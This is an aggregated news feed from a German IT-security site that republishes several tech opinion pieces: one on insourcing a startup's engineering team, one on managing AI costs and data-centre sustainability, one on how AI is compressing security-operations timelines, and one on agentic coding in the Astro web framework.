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<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
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<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



<p class="wp-block-paragraph">Most technology transitions unfolded over years. Organizations had time to evaluate, pilot, deploy and gradually adapt operating models.</p>



<p class="wp-block-paragraph">The current AI cycle moves at a different pace.</p>



<p class="wp-block-paragraph">Capabilities improve continuously. New models arrive every few months. New research emerges every few weeks. Security teams absorb developments at the same time attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Vulnerability discovery</a> provides a useful example. Security teams have long operated around a familiar cycle of discovery, validation, remediation and protection. AI systems accelerate every stage of that process. Similar patterns exist in phishing, reconnaissance, social engineering and attack planning.</p>



<p class="wp-block-paragraph">A vulnerability that once moved through that cycle over weeks increasingly now moves through those stages in days or, in some cases, hours.</p>



<p class="wp-block-paragraph">Attackers are already operating at the speed of AI. Defenders are now focused on reaching the same level of operational speed.</p>



<p class="wp-block-paragraph">This shift is changing the questions CISOs ask.</p>



<p class="wp-block-paragraph">Early discussions focused on capability. Could AI investigate alerts accurately? Could it operate reliably in production environments? Could it be trusted with meaningful security work?</p>



<p class="wp-block-paragraph">As organizations gained experience with AI, the discussion shifted toward implementation. Security teams began evaluating where AI could create operational leverage and how quickly they could deploy it into existing workflows.</p>



<p class="wp-block-paragraph">Today, many CISOs are focused on timing.</p>



<p class="wp-block-paragraph">The pace of advancement is influencing planning horizons, budget decisions and operating-model discussions. Security leaders are evaluating how quickly they can introduce AI into investigations, threat hunting, detection engineering and response workflows. Boards are asking questions. Executive teams are paying attention.</p>



<p class="wp-block-paragraph">Security programs that once viewed AI as a future initiative increasingly view it as a current operational priority.</p>



<p class="wp-block-paragraph">The industry is moving from evaluating AI as a technology to incorporating AI as a security capability.</p>



<p class="wp-block-paragraph">The timeline compression creates pressure on the traditional security operations model. Investigation speed, response speed and defensive coverage increasingly determine whether organizations can keep pace with adversaries operating with AI assistance.</p>



<h2 class="wp-block-heading">Security operations are entering a new phase</h2>



<p class="wp-block-paragraph">The impact of AI is becoming particularly visible inside the SOC.</p>



<p class="wp-block-paragraph">Many security operations centers were built around a straightforward assumption: alerts flow to human analysts who conduct investigations. Operational capacity scales primarily through hiring.</p>



<p class="wp-block-paragraph">The volume of security data, the number of alerts and the complexity of modern environments have steadily increased. Security teams have responded by building processes, adding tools and creating specialized analyst roles.</p>



<p class="wp-block-paragraph">AI introduces a new source of operational capacity.</p>



<p class="wp-block-paragraph">Investigations that require analysts to examine dozens or hundreds of artifacts across endpoint, identity, cloud, network and email systems can now be performed in minutes. Analysts gain access to investigative depth and consistency that would be difficult to achieve manually at scale.</p>



<p class="wp-block-paragraph">Many security leaders now view this capability through the lens of operating model design. They are examining how investigations are performed, how work is distributed and where human expertise creates the greatest value.</p>



<h2 class="wp-block-heading">The evolution of the analyst role</h2>



<p class="wp-block-paragraph">One of the most important developments emerging from early production deployments is the <a href="https://www.csoonline.com/article/4163299/the-manager-of-agents-how-ai-evolves-the-soc-analyst-role.html">evolution of analyst responsibilities</a>.</p>



<p class="wp-block-paragraph">Security analysts remain central to security operations. Their expertise becomes even more valuable as AI systems take on larger portions of investigative work.</p>



<p class="wp-block-paragraph">Threat hunting, detection engineering, response strategy, governance and oversight are receiving increased attention. Analysts spend more time shaping how investigations are conducted, evaluating outcomes and improving overall security operations.</p>



<p class="wp-block-paragraph">Many organizations are already beginning this shift.</p>



<p class="wp-block-paragraph">Teams are investing more heavily in proactive security activities. Detection engineering programs are expanding. Threat hunting is becoming more accessible. Analysts are spending more time improving systems and less time repeating investigative tasks.</p>



<p class="wp-block-paragraph">These changes create what I think of as an analyst-amplified SOC: an environment where AI expands the reach of security professionals and enables deeper security work across the organization.</p>



<h2 class="wp-block-heading">Trust is critical and it doesn’t have to compromise speed</h2>



<p class="wp-block-paragraph">Faced with a compressing timeline, the instinct is to treat speed and trust as a trade-off, i.e., move faster, verify less. That trade-off feels inevitable. It isn’t.</p>



<p class="wp-block-paragraph">You don’t trust AI in the abstract. You trust that a system understands your tools, your telemetry and the edge cases that only exist in your network. The problem was never speed. It’s speed without context. The faster a context-blind system runs, the more decisions you’re left unable to verify.</p>



<p class="wp-block-paragraph">The tension eases when the system is quick to deploy and tunes to your environment once it’s there, rather than treating every network the same. Speed stops being the thing you trade against trust. The more it learns about your environment, the sharper and more trustworthy it becomes, so the two compound rather than compete. Trust still develops through operational evidence such as measurable outcomes, visibility into decisions and consistent performance. But where that evidence accrues matters.</p>



<p class="wp-block-paragraph">The organizations making the fastest real progress understand this. They don’t compromise quality and trust for speed. They invest in AI that earns trust inside their own environment, so they don’t have to choose.</p>



<h2 class="wp-block-heading">Leadership during a period of rapid change</h2>



<p class="wp-block-paragraph">The conversations surrounding Mythos and Glasswing reflect a broader reality facing security leaders.</p>



<p class="wp-block-paragraph">AI is becoming part of both offense and defense. Security teams are incorporating it into investigations, detection engineering, response workflows and threat hunting. Attackers are incorporating it into their own operations.</p>



<p class="wp-block-paragraph">Security leaders have an opportunity to modernize operating models, expand defensive capacity and build organizational experience while these capabilities continue to evolve.</p>



<p class="wp-block-paragraph">The organizations making progress today are investing in readiness. They are building experience, adapting workflows and preparing teams for a new model of security operations.</p>



<p class="wp-block-paragraph">The next phase of cybersecurity will be defined by how effectively organizations combine human judgment with machine-scale execution.</p>



<p class="wp-block-paragraph">The question facing security leaders is increasingly clear: How quickly can their organizations adapt to a continuously changing threat environment?</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Agentic coding is everywhere]]></title>
<description><![CDATA[I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown...]]></description>
<link>https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I use a very cool and relatively new web framework called <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html" data-type="link" data-id="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a>. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to <a href="https://nickhodges.com/">my personal website</a>, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a>, <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html" data-type="link" data-id="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, or almost any other framework. It’s really cool.</p>



<p class="wp-block-paragraph">And these days, I really don’t write any code. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html" data-type="link" data-id="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> does most (all?) of the work. Since Astro is <a href="https://github.com/withastro/astro">an open-source project</a> and has <a href="https://docs.astro.build/">excellent documentation</a>, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  </p>



<p class="wp-block-paragraph">And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?</p>



<p class="wp-block-paragraph">My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has <a href="https://github.com/withastro/astro/blob/main/AGENTS.md">an AGENTS.md</a> file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. Further down, there is a <code>.agents/skills</code> directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.</p>



<p class="wp-block-paragraph">Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP server</a> that gives developers coding agents deeper, easier access to the Astro documentation.  </p>



<p class="wp-block-paragraph">And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. </p>



<p class="wp-block-paragraph">Okay, that was a fun spelunking trip. But so what?</p>



<p class="wp-block-paragraph">The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and <a href="https://www.anthropic.com/institute/recursive-self-improvement">using their own tools to build the next frontier model</a>. Before we know it, it will be <a href="https://en.wikipedia.org/wiki/Turtles_all_the_way_down">turtles all the way down</a>. </p>



<p class="wp-block-paragraph">No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is <a href="https://news.ycombinator.com/item?id=39587051" data-type="link" data-id="https://news.ycombinator.com/item?id=39587051">writing assembly code anymore</a>. Soon we’ll be saying that about TypeScript, Python, and C++.</p>
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<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
